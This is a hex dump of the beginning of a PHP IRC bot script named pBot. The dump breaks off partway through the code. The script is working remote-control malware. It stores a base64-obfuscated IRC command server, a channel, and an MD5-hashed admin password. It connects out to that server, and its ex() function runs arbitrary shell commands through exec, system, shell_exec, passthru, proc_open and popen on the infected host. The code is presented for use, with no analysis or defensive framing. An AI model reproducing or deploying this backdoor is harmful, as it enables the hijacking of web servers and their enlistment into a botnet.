| 0: | 3C | 3F | 20 | 0D | 0A | 0D | 0A | 09 | 2F | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | | <?
/*********************** |
| 32: | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2F | 0D | 0A | | *****************************/
|
| 64: | 09 | 2F | 2A | 20 | 70 | 6F | 77 | 65 | 72 | 65 | 64 | 20 | 62 | 79 | 20 | 4C | 4E | 44 | 20 | 2D | 20 | 62 | 79 | 20 | 42 | 44 | 4D | 20 | 20 | 20 | 20 | 20 | | /* powered by LND - by BDM |
| 96: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 2A | 2F | 0D | 0A | 09 | 2F | 2A | 20 | 73 | 68 | 6F | | */
/* sho |
| 128: | 75 | 74 | 73 | 3A | 20 | 77 | 65 | 20 | 66 | 75 | 63 | 6B | 20 | 74 | 68 | 65 | 20 | 77 | 6F | 72 | 6C | 64 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | uts: we fuck the world |
| 160: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 2A | 2F | 0D | 0A | 09 | 2F | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | | */
/************ |
| 192: | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | | ******************************** |
| 224: | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2A | 2F | 0D | 0A | 0D | 0A | 0D | 0A | 09 | 73 | 65 | 74 | 5F | 74 | 69 | 6D | 65 | 5F | 6C | 69 | 6D | 69 | 74 | 28 | 20 | | ********/
set_time_limit( |
| 256: | 30 | 20 | 29 | 3B | 0D | 0A | 09 | 65 | 72 | 72 | 6F | 72 | 5F | 72 | 65 | 70 | 6F | 72 | 74 | 69 | 6E | 67 | 28 | 20 | 30 | 20 | 29 | 3B | 0D | 0A | 09 | 65 | | );
error_reporting( );
e |
| 288: | 63 | 68 | 6F | 20 | 22 | 53 | 75 | 63 | 63 | 65 | 73 | 73 | 21 | 22 | 3B | 0D | 0A | 0D | 0A | 09 | 63 | 6C | 61 | 73 | 73 | 20 | 70 | 42 | 6F | 74 | 20 | 0D | | cho "Success!";
class pBot
|
| 320: | 0A | 09 | 7B | 0D | 0A | 09 | 09 | 76 | 61 | 72 | 20 | 24 | 75 | 73 | 69 | 6E | 67 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 20 | 3D | 20 | 74 | 72 | 75 | 65 | 3B | |
{
var $using_encode = true; |
| 352: | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 76 | 61 | 72 | 20 | 24 | 63 | 6F | 6E | 66 | 69 | 67 | 20 | 3D | 20 | 61 | 72 | 72 | 61 | 79 | 28 | 0D | 0A | 09 | 09 | |
var $config = array(
|
| 384: | 09 | 27 | 73 | 65 | 72 | 76 | 65 | 72 | 27 | 20 | 09 | 3D | 3E | 20 | 27 | 64 | 33 | 64 | 33 | 4C | 6D | 31 | 68 | 61 | 57 | 35 | 30 | 63 | 48 | 4A | 76 | 4C | | 'server' => 'd3d3Lm1haW5 cHJvL |
| 416: | 57 | 4E | 76 | 62 | 6E | 4E | 31 | 62 | 48 | 52 | 68 | 62 | 6D | 4E | 35 | 4C | 6D | 4E | 76 | 62 | 51 | 3D | 3D | 27 | 2C | 09 | 2F | 2F | 73 | 65 | 72 | 76 | | WNvbnN1bHRhbmN5LmNvbQ==', //serv |
| 448: | 65 | 72 | 20 | 68 | 65 | 72 | 65 | 20 | 28 | 62 | 61 | 73 | 65 | 36 | 34 | 29 | 0D | 0A | 09 | 09 | 09 | 27 | 70 | 6F | 72 | 74 | 27 | 09 | 09 | 3D | 3E | 20 | | er here (base64)
'port' => |
| 480: | 39 | 35 | 39 | 35 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 63 | 68 | 61 | 6E | 27 | 09 | 09 | 3D | 3E | 20 | 27 | 64 | 6D | 6C | 6A | 63 | 77 | 3D | 3D | 27 | 2C | | 9595,
'chan' => 'dmljcw==', |
| 512: | 09 | 09 | 2F | 2F | 63 | 68 | 61 | 6E | 6E | 65 | 6C | 20 | 68 | 65 | 72 | 65 | 20 | 28 | 62 | 61 | 73 | 65 | 36 | 34 | 29 | 20 | 44 | 4F | 20 | 4E | 4F | 54 | | //channel here (base64) DO NOT |
| 544: | 20 | 55 | 53 | 45 | 20 | 22 | 23 | 22 | 2C | 20 | 22 | 23 | 6C | 61 | 7A | 79 | 22 | 20 | 3D | 20 | 22 | 6C | 61 | 7A | 79 | 22 | 0D | 0A | 09 | 09 | 09 | 27 | | USE "#", "#lazy" = "lazy"
' |
| 576: | 6B | 65 | 79 | 27 | 09 | 09 | 3D | 3E | 20 | 27 | 27 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 6E | 69 | 63 | 6B | 66 | 6F | 72 | 6D | 27 | 09 | 3D | 3E | 20 | 27 | | key' => '',
'nickform' => ' |
| 608: | 76 | 75 | 6C | 6E | 5B | 25 | 64 | 5D | 27 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 69 | 64 | 65 | 6E | 74 | 70 | 27 | 09 | 3D | 3E | 20 | 27 | 64 | 61 | 72 | 6B | | vuln[%d]',
'identp' => 'dark |
| 640: | 78 | 73 | 27 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 6D | 6F | 64 | 65 | 73 | 27 | 09 | 09 | 3D | 3E | 20 | 27 | 2B | 70 | 27 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | | xs',
'modes' => '+p',
' |
| 672: | 6D | 61 | 78 | 72 | 61 | 6E | 64 | 27 | 09 | 3D | 3E | 20 | 35 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 63 | 70 | 72 | 65 | 66 | 69 | 78 | 27 | 09 | 3D | 3E | 20 | | maxrand' => 5,
'cprefix' => |
| 704: | 27 | 21 | 27 | 2C | 0D | 0A | 09 | 09 | 09 | 27 | 68 | 6F | 73 | 74 | 27 | 09 | 09 | 3D | 3E | 20 | 27 | 6A | 61 | 6D | 61 | 69 | 63 | 61 | 2E | 68 | 69 | 6E | | '!',
'host' => 'jamaica.hin |
| 736: | 65 | 74 | 2D | 69 | 70 | 2E | 6E | 65 | 74 | 27 | 0D | 0A | 09 | 09 | 29 | 3B | 0D | 0A | 0D | 0A | 09 | 09 | 76 | 61 | 72 | 20 | 24 | 61 | 64 | 6D | 69 | 6E | | et-ip.net'
);
var $admin |
| 768: | 73 | 20 | 3D | 20 | 61 | 72 | 72 | 61 | 79 | 0D | 0A | 09 | 09 | 28 | 20 | 0D | 0A | 09 | 09 | 09 | 27 | 44 | 61 | 72 | 6B | 73 | 6B | 69 | 6C | 6C | 27 | 20 | | s = array
(
'Darkskill' |
| 800: | 3D | 3E | 20 | 27 | 32 | 63 | 62 | 64 | 36 | 32 | 65 | 36 | 37 | 39 | 64 | 38 | 39 | 61 | 63 | 66 | 37 | 66 | 31 | 62 | 66 | 63 | 31 | 34 | 62 | 65 | 30 | 38 | | => '2cbd62e679d89acf7f1bfc14be 8 |
| 832: | 62 | 30 | 34 | 35 | 27 | 20 | 2F | 2F | 20 | 70 | 61 | 73 | 73 | 20 | 3D | 20 | 22 | 6C | 6F | 6C | 5F | 64 | 6F | 6E | 74 | 5F | 74 | 72 | 79 | 5F | 63 | 72 | | b 45' // pass = "lol_dont_try_cr |
| 864: | 61 | 63 | 6B | 69 | 6E | 67 | 5F | 31 | 32 | 63 | 68 | 61 | 72 | 2B | 5F | 3A | 50 | 22 | 0D | 0A | 09 | 09 | 09 | 2F | 2F | 70 | 61 | 73 | 73 | 65 | 73 | 20 | | acking_12char+_:P"
//passes |
| 896: | 61 | 72 | 65 | 20 | 4D | 44 | 35 | 20 | 66 | 6F | 72 | 6D | 61 | 74 | 2C | 20 | 79 | 6F | 75 | 20 | 63 | 61 | 6E | 20 | 61 | 6C | 73 | 6F | 20 | 68 | 61 | 76 | | are MD5 format, you can also hav |
| 928: | 65 | 20 | 6D | 75 | 6C | 74 | 69 | 70 | 6C | 65 | 20 | 61 | 64 | 6D | 69 | 6E | 73 | 0D | 0A | 09 | 09 | 29 | 3B | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | | e multiple admins
);
f |
| 960: | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 61 | 75 | 74 | 68 | 5F | 68 | 6F | 73 | 74 | 28 | 20 | 24 | 6E | 69 | 63 | 6B | 2C | 20 | 24 | 70 | 61 | 73 | 73 | 77 | | unction auth_host( $nick, $passw |
| 992: | 6F | 72 | 64 | 2C | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 24 | 61 | 64 | 6D | 69 | 6E | 5F | 63 | 6F | 75 | | ord, $host )
{
$admin_cou |
| 1024: | 6E | 74 | 20 | 3D | 20 | 63 | 6F | 75 | 6E | 74 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 61 | 64 | 6D | 69 | 6E | 73 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | | nt = count( $this->admins );
|
| 1056: | 09 | 69 | 66 | 28 | 20 | 24 | 61 | 64 | 6D | 69 | 6E | 5F | 63 | 6F | 75 | 6E | 74 | 20 | 3E | 20 | 30 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | if( $admin_count > )
{
|
| 1088: | 09 | 09 | 09 | 24 | 6D | 70 | 61 | 73 | 73 | 20 | 3D | 20 | 6D | 64 | 35 | 28 | 20 | 24 | 70 | 61 | 73 | 73 | 77 | 6F | 72 | 64 | 20 | 29 | 3B | 0D | 0A | 09 | | $mpass = md5( $password );
|
| 1120: | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 61 | 64 | 6D | 69 | 6E | 73 | 5B | 20 | 24 | 6E | 69 | 63 | 6B | 20 | 5D | 20 | 3D | 3D | | if( $this->admins[ $nick ] == |
| 1152: | 20 | 24 | 6D | 70 | 61 | 73 | 73 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 75 | 73 | | $mpass )
{
$this->us |
| 1184: | 65 | 72 | 73 | 5B | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 5D | 20 | 3D | 20 | 74 | 72 | 75 | 65 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | | ers[ $host ] = true;
}
|
| 1216: | 7D | 0D | 0A | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 75 | 73 | 65 | | }
else
{
$this->use |
| 1248: | 72 | 73 | 5B | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 5D | 20 | 3D | 20 | 74 | 72 | 75 | 65 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 7D | 0D | 0A | | rs[ $host ] = true;
}
}
|
| 1280: | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 69 | 73 | 5F | 61 | 75 | 74 | 68 | 65 | 64 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | |
function is_authed( $host |
| 1312: | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 69 | 73 | 73 | 65 | 74 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | )
{
return isset( $this-> |
| 1344: | 75 | 73 | 65 | 72 | 73 | 5B | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | | users[ $host ] );
}
fu |
| 1376: | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 72 | 65 | 6D | 6F | 76 | 65 | 5F | 61 | 75 | 74 | 68 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | | nction remove_auth( $host )
{ |
| 1408: | 0D | 0A | 09 | 09 | 09 | 75 | 6E | 73 | 65 | 74 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 75 | 73 | 65 | 72 | 73 | 5B | 20 | 24 | 68 | 6F | 73 | 74 | 20 | |
unset( $this->users[ $host |
| 1440: | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 65 | 78 | 28 | 20 | 24 | 63 | | ] );
}
function ex( $c |
| 1472: | 66 | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 27 | 27 | 3B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 20 | | fe )
{
$res = '';
if |
| 1504: | 28 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 24 | 63 | 66 | 65 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 66 | 75 | 6E | | (!empty($cfe))
{
if(fun |
| 1536: | 63 | 74 | 69 | 6F | 6E | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 63 | 6C | 61 | 73 | 73 | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 27 | 29 | 20 | 26 | 26 | 20 | | ction_exists('class_exists') && |
| 1568: | 63 | 6C | 61 | 73 | 73 | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 50 | 65 | 72 | 6C | 27 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | class_exists('Perl'))
{
|
| 1600: | 09 | 09 | 09 | 24 | 70 | 65 | 72 | 6C | 20 | 3D | 20 | 6E | 65 | 77 | 20 | 50 | 65 | 72 | 6C | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 70 | 65 | | $perl = new Perl();
$pe |
| 1632: | 72 | 6C | 2D | 3E | 65 | 76 | 61 | 6C | 28 | 20 | 22 | 73 | 79 | 73 | 74 | 65 | 6D | 28 | 27 | 24 | 63 | 66 | 65 | 27 | 29 | 3B | 22 | 20 | 29 | 3B | 0D | 0A | | rl->eval( "system('$cfe');" );
|
| 1664: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 65 | | }
if(function_exists('e |
| 1696: | 78 | 65 | 63 | 27 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 65 | 78 | 65 | 63 | 28 | 24 | 63 | 66 | 65 | 2C | 24 | | xec'))
{
@exec($cfe,$ |
| 1728: | 72 | 65 | 73 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 6A | 6F | 69 | 6E | 28 | 22 | 5C | 6E | 22 | 2C | 24 | 72 | 65 | | res);
$res = join("\n",$re |
| 1760: | 73 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 5F | | s);
}
elseif(function_ |
| 1792: | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 73 | 68 | 65 | 6C | 6C | 5F | 65 | 78 | 65 | 63 | 27 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | exists('shell_exec'))
{
|
| 1824: | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 40 | 73 | 68 | 65 | 6C | 6C | 5F | 65 | 78 | 65 | 63 | 28 | 24 | 63 | 66 | 65 | 29 | 3B | 0D | 0A | 09 | 09 | | $res = @shell_exec($cfe);
|
| 1856: | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | | }
elseif(function_exists( |
| 1888: | 27 | 73 | 79 | 73 | 74 | 65 | 6D | 27 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 6F | 62 | 5F | 73 | 74 | 61 | 72 | | 'system'))
{
@ob_star |
| 1920: | 74 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 73 | 79 | 73 | 74 | 65 | 6D | 28 | 24 | 63 | 66 | 65 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | t();
@system($cfe);
|
| 1952: | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 40 | 6F | 62 | 5F | 67 | 65 | 74 | 5F | 63 | 6F | 6E | 74 | 65 | 6E | 74 | 73 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | $res = @ob_get_contents();
|
| 1984: | 09 | 40 | 6F | 62 | 5F | 65 | 6E | 64 | 5F | 63 | 6C | 65 | 61 | 6E | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | | @ob_end_clean();
}
el |
| 2016: | 73 | 65 | 69 | 66 | 28 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 70 | 61 | 73 | 73 | 74 | 68 | 72 | 75 | 27 | 29 | | seif(function_exists('passthru') |
| 2048: | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 6F | 62 | 5F | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | | )
{
@ob_start();
|
| 2080: | 09 | 09 | 40 | 70 | 61 | 73 | 73 | 74 | 68 | 72 | 75 | 28 | 24 | 63 | 66 | 65 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | | @passthru($cfe);
$res = |
| 2112: | 40 | 6F | 62 | 5F | 67 | 65 | 74 | 5F | 63 | 6F | 6E | 74 | 65 | 6E | 74 | 73 | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 6F | 62 | 5F | 65 | 6E | | @ob_get_contents();
@ob_en |
| 2144: | 64 | 5F | 63 | 6C | 65 | 61 | 6E | 28 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 66 | 75 | | d_clean();
}
elseif(fu |
| 2176: | 6E | 63 | 74 | 69 | 6F | 6E | 5F | 65 | 78 | 69 | 73 | 74 | 73 | 28 | 27 | 70 | 72 | 6F | 63 | 5F | 6F | 70 | 65 | 6E | 27 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | | nction_exists('proc_open'))
|
| 2208: | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 70 | 72 | 6F | 63 | 5F | 6F | 70 | 65 | 6E | 28 | 24 | 63 | 66 | 65 | 29 | 3B | | {
$res = proc_open($cfe); |
| 2240: | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 69 | 66 | 28 | 40 | 69 | 73 | 5F | 72 | 65 | 73 | 6F | 75 | 72 | 63 | 65 | |
}
elseif(@is_resource |
| 2272: | 28 | 24 | 66 | 20 | 3D | 20 | 40 | 70 | 6F | 70 | 65 | 6E | 28 | 24 | 63 | 66 | 65 | 2C | 22 | 72 | 22 | 29 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | | ($f = @popen($cfe,"r")))
{
|
| 2304: | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 72 | 65 | 73 | 20 | 3D | 20 | 22 | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 21 | 40 | 66 | |
$res = "";
while(!@f |
| 2336: | 65 | 6F | 66 | 28 | 24 | 66 | 29 | 29 | 20 | 7B | 20 | 24 | 72 | 65 | 73 | 20 | 2E | 3D | 20 | 40 | 66 | 72 | 65 | 61 | 64 | 28 | 24 | 66 | 2C | 31 | 30 | 32 | | eof($f)) { $res .= @fread($f,1 2 |
| 2368: | 34 | 29 | 3B | 20 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 40 | 70 | 63 | 6C | 6F | 73 | 65 | 28 | 24 | 66 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | | 4); }
@pclose($f);
}
|
| 2400: | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 24 | 72 | 65 | 73 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | |
}
return $res;
}
|
| 2432: | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | |
function is_safe( )
{
|
| 2464: | 69 | 66 | 28 | 20 | 28 | 20 | 40 | 65 | 72 | 65 | 67 | 69 | 28 | 20 | 22 | 75 | 69 | 64 | 22 | 2C | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 20 | | if( ( @eregi( "uid", $this->ex( |
| 2496: | 22 | 69 | 64 | 22 | 20 | 29 | 20 | 29 | 20 | 29 | 20 | 7C | 7C | 20 | 28 | 20 | 40 | 65 | 72 | 65 | 67 | 69 | 28 | 20 | 22 | 57 | 69 | 6E | 64 | 6F | 77 | 73 | | "id" ) ) ) || ( @eregi( "Windows |
| 2528: | 22 | 2C | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 65 | 78 | 28 | 20 | 22 | 6E | 65 | 74 | 20 | 73 | 74 | 61 | 72 | 74 | 22 | 20 | 29 | 20 | 29 | 20 | 29 | 20 | | ", $this->ex( "net start" ) ) ) |
| 2560: | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 30 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | | )
{
return ;
}
|
| 2592: | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 31 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | | return 1;
}
function |
| 2624: | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | get_chan( )
{
if( $this-> |
| 2656: | 75 | 73 | 69 | 6E | 67 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | | using_encode )
{
return |
| 2688: | 20 | 27 | 23 | 27 | 2E | 62 | 61 | 73 | 65 | 36 | 34 | 5F | 64 | 65 | 63 | 6F | 64 | 65 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | | '#'.base64_decode( $this->confi |
| 2720: | 67 | 5B | 20 | 27 | 63 | 68 | 61 | 6E | 27 | 20 | 5D | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | | g[ 'chan' ] );
}
else
|
| 2752: | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 72 | 65 | 74 | 75 | 72 | 6E | 20 | 27 | 23 | 27 | 2E | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | | {
return '#'.$this->confi |
| 2784: | 67 | 5B | 20 | 27 | 63 | 68 | 61 | 6E | 27 | 20 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 0D | 0A | 09 | 09 | 66 | | g[ 'chan' ];
}
}
f |
| 2816: | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 20 | 0D | 0A | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | | unction start()
{
if( $t |
| 2848: | 68 | 69 | 73 | 2D | 3E | 75 | 73 | 69 | 6E | 67 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 69 | | his->using_encode )
{
i |
| 2880: | 66 | 28 | 21 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 20 | 3D | 20 | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | 6E | 28 | 62 | 61 | 73 | 65 | | f(!($this->conn = fsockopen(base |
| 2912: | 36 | 34 | 5F | 64 | 65 | 63 | 6F | 64 | 65 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 73 | 65 | 72 | 76 | 65 | 72 | 27 | | 64_decode($this->config['server' |
| 2944: | 5D | 29 | 2C | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 70 | 6F | 72 | 74 | 27 | 5D | 2C | 24 | 65 | 2C | 24 | 73 | 2C | 33 | | ]),$this->config['port'],$e,$s,3 |
| 2976: | 30 | 29 | 29 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | | )))
{
$this->start( |
| 3008: | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | | );
}
}
else
{
|
| 3040: | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 21 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 20 | 3D | 20 | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | |
if(!($this->conn = fsockope |
| 3072: | 6E | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 73 | 65 | 72 | 76 | 65 | 72 | 27 | 5D | 2C | 24 | 74 | 68 | 69 | 73 | 2D | | n($this->config['server'],$this- |
| 3104: | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 70 | 6F | 72 | 74 | 27 | 5D | 2C | 24 | 65 | 2C | 24 | 73 | 2C | 33 | 30 | 29 | 29 | 29 | 20 | 0D | 0A | 09 | 09 | | >config['port'],$e,$s,3 )))
|
| 3136: | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 74 | 61 | 72 | 74 | 28 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | {
$this->start();
|
| 3168: | 7D | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 69 | 64 | 65 | 6E | 74 | 20 | 3D | 20 | 24 | 74 | 68 | 69 | 73 | | }
}
